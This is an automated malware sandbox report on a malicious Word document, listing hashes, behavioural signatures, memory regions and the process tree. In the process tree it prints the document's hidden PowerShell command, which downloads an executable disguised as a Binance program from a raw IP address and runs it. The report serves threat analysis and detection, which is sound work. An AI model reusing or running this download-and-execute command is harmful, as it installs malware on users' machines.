Analysis

  • max time kernel
    46s
  • max time network
    62s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-07-2024 21:49

General

  • Target

    bbf8492d595000ef5e1fabad172c0d5e5bfe6278c2661007dafd7ec17cd22411.doc

  • Size

    34KB

  • MD5

    08f3a287e579dda542a412b93ff64d97

  • SHA1

    04d2033efd8239389eacf4cd63ac53ae08c59676

  • SHA256

    bbf8492d595000ef5e1fabad172c0d5e5bfe6278c2661007dafd7ec17cd22411

  • SHA512

    9b93d7dbbb56b5dc29bd3df7e5a8c59bbc9263a73e4f9406f030772cc143591e4ce07a29a35ca5f0d2dc88fd595357e572d233b98484628f52134d81ccd09111

  • SSDEEP

    192:SUWDlaZZEvAA6/6rNavrgYjk+4bWl26bXxZcetg76Yd5OX8LU50jfU6raT:SUWDhiSwvxjk+t2IZltRK5+F50jK

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\bbf8492d595000ef5e1fabad172c0d5e5bfe6278c2661007dafd7ec17cd22411.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:900
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden "('http://13.48.10.153/Binance.exe')|foreach{$fileName=$env:temp+'\'+(Split-Path -Path $_ -Leaf);(new-object System.Net.WebClient).DownloadFile($_,$fileName);Invoke-Item $fileName;}"
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1728

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD52A7.tmp\gb.xsl

    Filesize

    262KB

    MD5

    51d32ee5bc7ab811041f799652d26e04

    SHA1

    412193006aa3ef19e0a57e16acf86b830993024a

    SHA256

    6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

    SHA512

    5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pem5su41.thn.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

    Filesize

    1KB

    MD5

    71720b3e8c0df10e152038cac04fc632

    SHA1

    310801167d4b892bef94f39711efa53694c24b88

    SHA256

    7884c3f3840160f2c33bb12b3f9eb4fcd8ec14bf261a19e5290ff2ea39aa5039

    SHA512

    e0c2815126e0a086b736e9ca1422bbc598f46261ba5b680704b28ae5ee87d7a0efb16185f5aab989416bf7c216900f0126909f81f31dd7d771cb2cf68eedf6e9

  • memory/900-18-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

    Filesize

    2.0MB

  • memory/900-15-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

    Filesize

    2.0MB

  • memory/900-6-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

    Filesize

    2.0MB

  • memory/900-7-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

    Filesize

    2.0MB

  • memory/900-8-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

    Filesize

    2.0MB

  • memory/900-5-0x00007FF8D8AB0000-0x00007FF8D8AC0000-memory.dmp

    Filesize

    64KB

  • memory/900-9-0x00007FF8D6150000-0x00007FF8D6160000-memory.dmp

    Filesize

    64KB

  • memory/900-10-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

    Filesize

    2.0MB

  • memory/900-12-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

    Filesize

    2.0MB

  • memory/900-13-0x00007FF8D6150000-0x00007FF8D6160000-memory.dmp

    Filesize

    64KB

  • memory/900-17-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

    Filesize

    2.0MB

  • memory/900-0-0x00007FF8D8AB0000-0x00007FF8D8AC0000-memory.dmp

    Filesize

    64KB

  • memory/900-16-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

    Filesize

    2.0MB

  • memory/900-3-0x00007FF8D8AB0000-0x00007FF8D8AC0000-memory.dmp

    Filesize

    64KB

  • memory/900-14-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

    Filesize

    2.0MB

  • memory/900-11-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

    Filesize

    2.0MB

  • memory/900-28-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

    Filesize

    2.0MB

  • memory/900-29-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

    Filesize

    2.0MB

  • memory/900-170-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

    Filesize

    2.0MB

  • memory/900-4-0x00007FF918ACD000-0x00007FF918ACE000-memory.dmp

    Filesize

    4KB

  • memory/900-169-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

    Filesize

    2.0MB

  • memory/900-2-0x00007FF8D8AB0000-0x00007FF8D8AC0000-memory.dmp

    Filesize

    64KB

  • memory/900-1-0x00007FF8D8AB0000-0x00007FF8D8AC0000-memory.dmp

    Filesize

    64KB

  • memory/1728-34-0x0000019BCCBF0000-0x0000019BCCC12000-memory.dmp

    Filesize

    136KB

  • memory/1728-30-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

    Filesize

    2.0MB

  • memory/1728-171-0x00007FF918A30000-0x00007FF918C25000-memory.dmp

    Filesize

    2.0MB